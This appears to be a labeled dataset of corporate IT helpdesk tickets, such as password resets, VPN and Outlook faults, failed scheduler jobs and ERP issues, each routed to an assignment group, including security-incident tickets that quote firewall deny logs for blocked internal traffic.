09/28/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3186 failed in job_scheduler at: 09/28/2016 00:02:00",GRP_8 +"login blocked _x000D_ +_x000D_ +received from: ublisodp.qydfvpgw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i am not able to login to business_client due to wrong password._x000D_ +pl unblock and let me know the existing password to reset the same with new password._x000D_ +_x000D_ +",GRP_0 +"out look is not opening out look is not opening , showing error message couldn't able to access mail",GRP_19 +unable to login to ess protel unable to login to ess portal ,GRP_0 +unable to login to windows unable to login to windows ,GRP_0 +reset passwords for knemilvx dvqtziya using password_management_tool password reset. the,GRP_17 +"atp for mm 4870517 issue _x000D_ +_x000D_ +received from: qgrbdnoc.dgupnhxv@gmail.com_x000D_ +_x000D_ +hello,sirs_x000D_ +_x000D_ +we had a schedule agreement 4111336752 about mm 4870517*720pcs which request delivery time is in 10/11, and the stocks can meet our agreement, but in 9/23, there is 35050345 4870517*4280pcs created in plant_283, and then it took our all current plant_283 stock, and only confirmed us 700pcs as below which cannot meet the customer's demand , so we want to check what is the current rule about the confirm date, why the stock meet the back order not the previous order?_x000D_ +[cid:image001.png@01SID_35977.b52c2ee0]_x000D_ +",GRP_6 +"job bkwin_HostName_768_inc failed in job_scheduler at: 09/27/2016 22:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 09/27/2016 22:36:00",GRP_8 +"job SID_56filesys failed in job_scheduler at: 09/27/2016 22:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 09/27/2016 22:25:00",GRP_8 +"ba02 printer still keep printing some error task_please help we've faced the problem ie. the printer ba02 do keep printing the job which is wrongly assigned by some user (vvkujup). we turned off the printer and lan by yesterday evening , and turn-on printer and plug lan this morning, however the printer do still printing such jobs. as checked with local printer team, he suggested to change ip address at ba02 as attached . please help us stop such error printing and advise back to us aerp., ",GRP_5 +"erp-mae windows ad account is locked. erp-mae ad account is locked and hana production jobs are failing. unlock immediately and share the root-cause._x000D_ +please assign to safrgyynjit or team and reach them immediately on call.",GRP_2 +"ask zwip report when i sae the zwip report. the sales order35049170 / 060 is not shown customer and sales order as well_x000D_ +please, check the reason and let me know how to show above information in zwip._x000D_ + - plant : plant_68_x000D_ + - prodcution order : 226043035 ",GRP_45 +win8.1 系统提示更新后，所有应用软件都不能打开。 win8.1 系统提示更新后，所有应用软件都不能打开。,GRP_31 +"job Job_3186 failed in job_scheduler at: 09/27/2016 20:49:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3186 failed in job_scheduler at: 09/27/2016 20:49:00",GRP_10 +"metal cutting technology p/l (company zqt 2005137185 hi team,_x000D_ +_x000D_ +i have created the attached quote, however, it is not up showing correctly (see attached). can you please fix this as soon as possible? ",GRP_13 +用友-库存帐和现存量不符 用友-库存帐和现存量不符，产品编码：112001960200，库存台账15kg，现存量75kg,GRP_48 +"job Job_3186 failed in job_scheduler at: 09/27/2016 20:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3186 failed in job_scheduler at: 09/27/2016 20:00:00",GRP_10 +"download issue + +received from: uezonywf.rldbvipu@gmail.com + +i am trying to download the software to do tooling reports on my company dell 2 in 1 and i keep getting error messages. i assume someone will have to take remote access of my computer to see what is going on. + +tommyth duyhurmont +channel partner sales engineer +company inc. +uezonywf.rldbvipu@gmail.com +www.company.com< + + +www.company.com/engineering_tool/en/home.html + +[ + + + + + + + +",GRP_19 +"i have another shipment that will not process commodity details error the same as inc1552879 _x000D_ +dn 9169306896_x000D_ +sto 5019278106_x000D_ +this consignment is urgent so can it be resolved quickly please?",GRP_18 +"cannot connect _x000D_ +_x000D_ +received from: vjuxfokc.cwhxnoug@gmail.com_x000D_ +_x000D_ +for some reason i cannot connect to the vpn?_x000D_ +i have tried my usual username and password but it is not working?_x000D_ +_x000D_ +_x000D_ +[cid:image005.jpg@01SID_3595f.59714a30]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"job Job_1142 failed in job_scheduler at: 09/27/2016 18:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1142 failed in job_scheduler at: 09/27/2016 18:05:00",GRP_9 +"user getting prompt to upgrade java. user getting prompt to upgrade java._x000D_ +-connected to the user system using teamviewer._x000D_ +-advised the user to complete the installation._x000D_ +-issue resolved.",GRP_0 +"erp business workplace inbox is not working erp inbox for smitrtgcj1 is not working. i have created a background report to run and deliver to my erp inbox but it is not delivering. +i have also tried to create a mail thru the erp inbox and send to myself and i get the error erp user does not exist even though i show up in the soplant_49 transaction.",GRP_11 +"custom quote. at saving receive error message of ""enter rate/usd rate type m for 9/27 in the system settings name:lagqcompanyo xqtldrcs +language: +browser:microsoft internet explorer +email:lagqcompanyo.xqtldrcs@gmail.com +customer number: +telephone: +summary:custom quote. at saving receive error message of ""enter rate/usd rate type m for 9/27 in the system settings +=====see attachment ====================",GRP_13 +"business_client issue 1.) briefly describe what you were trying to do and the issue you have encountered._x000D_ +i am trying to access material drawings but am getting an error message when i log in (see attached)_x000D_ +2.) please include a screenshot of any error messages",GRP_0 +"job Job_1129conf_s failed in job_scheduler at: 09/27/2016 16:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1129conf_s failed in job_scheduler at: 09/27/2016 16:40:00",GRP_9 +"can you reset my password for SID_37 name:fybwjzhx ojgrpafb +language: +browser:microsoft internet explorer +email:fybwjzhx.ojgrpafb@gmail.com +customer number: +telephone: +summary:can you reset my password for SID_37",GRP_0 +reset the password for fueiklyv jargqpkm on erp / production / bw please reset my password,GRP_0 +"i installed the analysis for microsoft excel in erp business intelligence and i am getting an error message i am able to open the analysis for microsoft excel but when i click on log in to erp business objects i get an error message that says ""the launcher is exited with error, see log file for more details. the analysis add-in is not registered correctly."" when i click on logfile folder, i get a dialog box that ways ""windows can't open this file: file: launcher_log_8056.glf"" and asked me to find the programdnty to open the file.",GRP_0 +"channel management claim issue claim 845354 is approved but is not showing up in settlement list. can not get credit to generate. + +also can not reject in order to create a new claim. i created a new claim to replace but have concerns with proceeding to process if i cant reject the first - + +please advise, as we owe the customer their credit. new claim 845691",GRP_15 +"job Job_1146a failed in job_scheduler at: 09/27/2016 16:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1146a failed in job_scheduler at: 09/27/2016 16:00:00",GRP_9 +password reset password reset,GRP_0 +"crm addin boxes dont stay checked gso please reach out to lryturhy to correct his addin issue. after rechecking his crm addin boxes and closing outlook, they become unchecked again and the addin portion of the ribbon dierppears.",GRP_0 +expense report blocked expense report blocked,GRP_0 +working on the fax lines in usa to see if we can do them without having to order any parts working on the fax lines in usa to see if we can do them without having to order any parts,GRP_7 +"outlook not working, was ok this morning, but will not let me back in now outlook down +wlhxrogv yawtxuod ",GRP_0 +working on getting his new laptop ready for him working on getting his new laptop ready for him,GRP_3 +unable to load outlook unable to load outlook,GRP_0 +"business objects analysis errors i recently changed my work computer from an 8gb ""business"" model to a 16gb ""engineering"" model. i frequently use business objects analysis for excel. when opening files that i have saved that use data connections, i am running into an error that prompts me to try and ""migrate"" the connection from odbc to http. see attached error. because i am not familiar with this, i cannot refresh data on old workbooks. can someone assist? ",GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"job Job_3194 failed in job_scheduler at: 09/27/2016 14:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 09/27/2016 14:15:00",GRP_10 +"(srvlavpwdrprd01.company.company.com) is not responding, this is our calibration system, need up aerp (srvlavpwdrprd01.company.company.com) is not responding, this is our calibration system, need up aerp",GRP_61 +"netweaver access _x000D_ +_x000D_ +received from: oqvwgnkc.gkjylpzx@gmail.com_x000D_ +_x000D_ +hello. can someone help me with netweaver access?_x000D_ +_x000D_ +",GRP_0 +reset the password for fueiklyv jargqpkm on erp / production / erp i tried using my windows login password but it is not working.,GRP_0 +skype certificate error skype certificate error,GRP_0 +"dealer open orders are appearing in vkm4 hi, + +please raise it ticket. all dealer open orders are appearing in vkm4 – credit check even though the credit utilization is within the limits. this started after changing the credit terms as z060 to all open orders. + + +gajthyana hegdergyt +manager- finance +miecoszw.mhvbnodw@gmail.com +for technical assistance: / in.techsupport@company.com + + +",GRP_10 +"client 0819 company, inc / rejected edi inwarehouse_tool # 0006475468 from: nihtykki mcgyuouald +sent: tuesday, september 27, 2016 8:50 pm +to: nwfodmhc exurcwkm +subject: amar fw: client 0819 company, inc / rejected edi inwarehouse_tool # 1117586579 + +hello, + +please check into the below edi file to see why it was rejected from our system. they have provided the technical support below. + +",GRP_32 +"pr - workflow from: grhryueg dewicrth +sent: tuesday, september 27, 2016 7:37 pm +to: nwfodmhc exurcwkm +subject: amar fw: pr - workflow + +hello it help, + +can you help – please see the image in the email below – there is a workflow that i need to process but it will not give me an approve or reject option and will not pull up the details in the portal. + +i am also accessing it from outside of company as i am traveling for work. + +",GRP_29 +new laptop setup help to create and configure the user login profile and outlook.,GRP_19 +ticket update on inplant_864352 ticket update on inplant_864352,GRP_0 +unable to view data in distributor_tool account unable to view data in distributor_tool account,GRP_0 +dock station- telephony_software ip phone request for install the dock station and ip phone for the telephony_software application,GRP_19 +"the termination action for johhdyanna kadyuiluza has completed. hello , + +a termination for johhdyanna kadyuiluza, 2111165258, effective 09.09.2016 has been approved. +",GRP_2 +"job Job_1129conf_s failed in job_scheduler at: 09/27/2016 12:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1129conf_s failed in job_scheduler at: 09/27/2016 12:40:00",GRP_9 +vpn connectivity is too slow vpn connectivity is too slow,GRP_0 +vpn disconnecting vpn disconnecting,GRP_0 +"erp-mae id seems to be locked in hana SID_60 erp-mae id seems to be locked in hana SID_60 + +request for unlock.",GRP_53 +unable to launch outlook unable to launch outlook,GRP_3 +"printer not printing name:xernsfqa uzvsnlbd +language: +browser:microsoft internet explorer +email:xernsfqa.uzvsnlbd@gmail.com +customer number: +telephone: +summary:i am receiving error messages when trying to update my printer drivers. i'm unable to print to the printers i need to utilize, dg16 and dg10.",GRP_0 +"my outlook will not work on my computer. this was since my password change. it works on my phone but not my laptop. bsxvtpke vbfcashd +cell +system affected is dell laptop --outlook",GRP_0 +"job Job_1142 failed in job_scheduler at: 09/27/2016 12:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1142 failed in job_scheduler at: 09/27/2016 12:05:00",GRP_9 +unable to connect to vpn unable to connect to vpn,GRP_0 +unable to connect to company secure in usa unable to connect to company secure in usa,GRP_0 +"update on ticket_no1555136 name:dfgtyon stasrty +language: +browser:microsoft internet explorer +email:vsbtygin.oufhtbas@gmail.com +customer number: +telephone: +summary:can we get this ticket ticket_no1555136 completed today? i need to be able to get this site up. thank u",GRP_0 +account unlock account unlock,GRP_0 +ticket update on inplant_864348 ticket update on inplant_864348,GRP_0 +"inwarehouse_tools are not automatically being sent to helical when referenced to contracts customer 81371659, sales org 1204, have inwarehouse_tools automatically set to be emailed, this works for standard orders, zkb and zke's order types, but when an order is referenced to a contract, they are not being transmitted, the partners in the order is correct, but on the inwarehouse_tool it is the same as the sold to party. please see attached for examples.",GRP_13 +ticket update - inplant_862976 ticket update - inplant_862976,GRP_0 +"SID_37 password _x000D_ +_x000D_ +received from: czsmnbdi.ispdhfer@gmail.com_x000D_ +_x000D_ +please reset my password in SID_37, see msg below._x000D_ +_x000D_ +",GRP_0 +"hello, i am have problems running open sales backorder report data will not download past 9/22. hello, i am have problems running open sales backorder report data will not download past 9/22.",GRP_13 +unable to login to skype unable to login to skype,GRP_0 +programdnty zfiu0007 problem with credits not being issued on some accounts we have some accounts where tax is not being issued and they are coded to the reason code 250 code that is part of this job. i have attached examples. ,GRP_10 +unable to set up skype meetings unable to set up skype meetings,GRP_0 +rechner ewew8323527 \bluescreen \wrcktgbd wzrgyunp rechner ewew8323527 \bluescreen \wrcktgbd wzrgyunp,GRP_24 +reinstall hardkopy we_wu116 \wrcktgbd wzrgyunp reinstall hardkopy we_wu116 \wrcktgbd wzrgyunp,GRP_24 +probleme mit hp4050 \fehler 41.1 \lxvunpiz mgjxwept probleme mit hp4050 \fehler 41.1 \lxvunpiz mgjxwept,GRP_24 +rechner ewew8323612 sehr langsam .\lxvunpiz mgjxwept rechner ewew8323612 sehr langsam .\lxvunpiz mgjxwept,GRP_24 +setup new ws \sgnubadl gpkovbah setup new ws \sgnubadl gpkovbah,GRP_24 +unable to connect to tc78 and tc19 unable to connect to tc78 and tc19,GRP_0 +erp SID_34 password reset done. erp SID_34 password reset done. ,GRP_0 +account locked. account locked.,GRP_34 +password is not getting synchronized. password is not getting synchronized.,GRP_0 +"reset passsw erp SID_34 - user: almrgtyeiba hi team,_x000D_ +_x000D_ +could you please reset passw the erp SID_34 user: almrgtyeiba (gvtbduyf gdblxiva) only erp._x000D_ +_x000D_ +tnks",GRP_0 +unable to launch outlook after resetting the password unable to launch outlook after resetting the password,GRP_0 +crm plugin not responding crm plugin not responding,GRP_0 +"urgent: crm mailbox is not synchronising urgent: crm mailbox is not synchronising. got a call from vitalyst. they've checked the crm sync settings and say that everything is in order. however, the crm mailbox is not synching. not accepting the username password too._x000D_ +_x000D_ +phone: 214 70sartlgeo lhqksbdx617",GRP_40 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? hr14 on HostName_769_x000D_ + _x000D_ + • detailed description of the problem ? keeps asking for a driver install but will not install driver update_x000D_ +_x000D_ + • type of documents not printing? all tried_x000D_ + _x000D_ +_x000D_ + • what system or application being used at time of the problem? windows_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? turned off and on printer_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +unable to get the crm app on outlook unable to get the crm app on outlook,GRP_0 +"termination for user lisfgta geitrhybler termination for user lisfgta geitrhybler + + +hello , + +a kündigung for liuytre geißler, 2111761255, effective 16.09.2016 has been approved. + +click the link to view. + +",GRP_2 +pls reset windows password for user vvkertgipn pls reset windows password for user vvkertgipn,GRP_0 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +"employee termination foulgnmdia pgsqwrumh langmar hello , + +a kündigung foulgnmdia pgsqwrumh langmar, 2111451235, effective 26.08.2016 has been approved. + +click the link to view +",GRP_2 +unable to sign in to vpn unable to sign in to vpn,GRP_0 +"probleme bei der projekt eingabe im collaboration_platform / infopath dear it,_x000D_ +_x000D_ +still some issues with the tracker even with your message in collaboration_tool etc._x000D_ +_x000D_ +jertyur can difozlav dgbfptos make a ticket and contact you or some other person?_x000D_ +_x000D_ +they cannot enter any projects._x000D_ +_x000D_ +please let us know._x000D_ +_x000D_ +_x000D_ +_x000D_ +--_x000D_ +mit freundlichen grüßen/ best ",GRP_0 +"lean tracker problems hello it helpdesk,_x000D_ +_x000D_ +good morning._x000D_ +i am not able to add new project into collaboration_platform lean tracker (contacting you, the helpdesk as per instruction from below mail). _x000D_ +_x000D_ + _x000D_ +",GRP_0 +inc1553541 - ticket update inc1553541 - ticket update,GRP_0 +"procenter login credential for new joiner please create procenter login credential for below new joiners. + +name:keyhuerthi vtyr +user id:reddatrhykv + +",GRP_37 +"access to teams drive - folder sox self-assessments - user priflhtret need access to folder sox self-assessments for quaterly sox requests_x000D_ +_x000D_ +_x000D_ +",GRP_34 +"job bk_hana_SID_22_arc_dp failed in job_scheduler at: 09/27/2016 06:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_22_arc_dp failed in job_scheduler at: 09/27/2016 06:02:00",GRP_5 +r3ad hr queues stuck in SID_39 - 21k entries hr employee data is not replicated - got stuck in SID_39,GRP_15 +"probleme mit druecker mp16 probleme mit druecker mp16_x000D_ +_x000D_ +fehlermeldung: ""transport einheit fehlt, oder motor fehler aufgetreten_x000D_ +das ist eine leasing druecker.",GRP_33 +unable to login to erp misplaced password,GRP_0 +"security incidents - ( #in33976733) : suspicious ms-rpc/ms-ds/netbios activity - android-ba50a4497de455a source ip: 10.16.90.249_x000D_ +source hostname: android-ba50a4497de455a_x000D_ +source port: 55198_x000D_ +source mac address: 50:2e:5c:f0:f6:98_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:_x000D_ +-------------------------------------------------------------------------------------------------------------_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 84682727_x000D_ +event summary: internal outbreak for 137/udp_x000D_ +occurrence count: 505_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 10.16.90.249_x000D_ +source hostname: android-ba50a4497de455a_x000D_ +source port: 55198_x000D_ +source mac address: 50:2e:5c:f0:f6:98_x000D_ +destination hostname: [no entry]_x000D_ +destination port: 137_x000D_ +connection directionality: internal_x000D_ +protocol: udp_x000D_ +_x000D_ +device information_x000D_ +device ip: 80.71.06.702_x000D_ +device name: company-european-asa.company.com-1_x000D_ +log time: 2016-09-26 at 08:23:55 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 537074_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 639601949_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103761_x000D_ +_x000D_ +event detail:_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.4/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.1/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.3/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.5/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.6/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.7/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.8/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.2/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.10/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.11/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.13/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.15/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.16/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.9/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.12/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +sep 26 08:23:55 80.71.06.702 %asa-4-106023: deny udp src inside:10.16.90.249/55198 dst noris:100.74.211.14/137 by access-group ""acl_inside"" [0x30e3d92a, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 26 04:23:54 60.43.89.120 dhcpd[23598]: dhcpack on 10.16.90.249 to 50:2e:5c:f0:f6:98 (android-ba50a4497de455a) via eth2 relay 10.16.88.2 lease-duration 691200 (renew)_x000D_ +_x000D_ +ascii packet(s):_x000D_ +[no entry]_x000D_ +_x000D_ +hex packet(s):_x000D_ +[no entry]",GRP_56 +"security incidents - ( #in33984033) : internal outbreak for port 7 from awyl8911000/10.44.167.92 source ip :_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:_x000D_ +==================================================_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 95389376_x000D_ +event summary: internal outbreak for 7/udp_x000D_ +occurrence count: 254_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 10.44.167.92_x000D_ +source hostname: awyl8911000 _x000D_ +source port: 61814_x000D_ +source mac address: 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00_x000D_ +destination hostname:_x000D_ +destination port: 7_x000D_ +connection directionality: internal_x000D_ +protocol: udp_x000D_ +_x000D_ +device information_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-apac-asa.company.com-1_x000D_ +log time: 2016-09-27 at 04:07:44 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 575501_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 893515308_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103955_x000D_ +_x000D_ +event detail:_x000D_ +sep 27 04:07:44 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/61814 dst outside:192.168.0.1/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:07:44 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/61812 dst outside:100.87.127.110/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57415 dst outside:192.168.0.2/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57416 dst outside:192.168.0.3/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57417 dst outside:192.168.0.4/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 54.96.80.216 %asa-4-106023: deny udp src inside:10.44.167.92/57418 dst outside:192.168.0.5/7 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 00:07:25 46.45.62.5146 dhcpd[21574]: dhcpack on 10.44.167.92 to 0a:f5:c1:ab:82:b3:00:00:00:00:00:00:00:00:00:00 (awyl8911000) via eth2 relay 10.44.86.71 lease-duration 14400 (renew)_x000D_ +sep 27 04:10:29 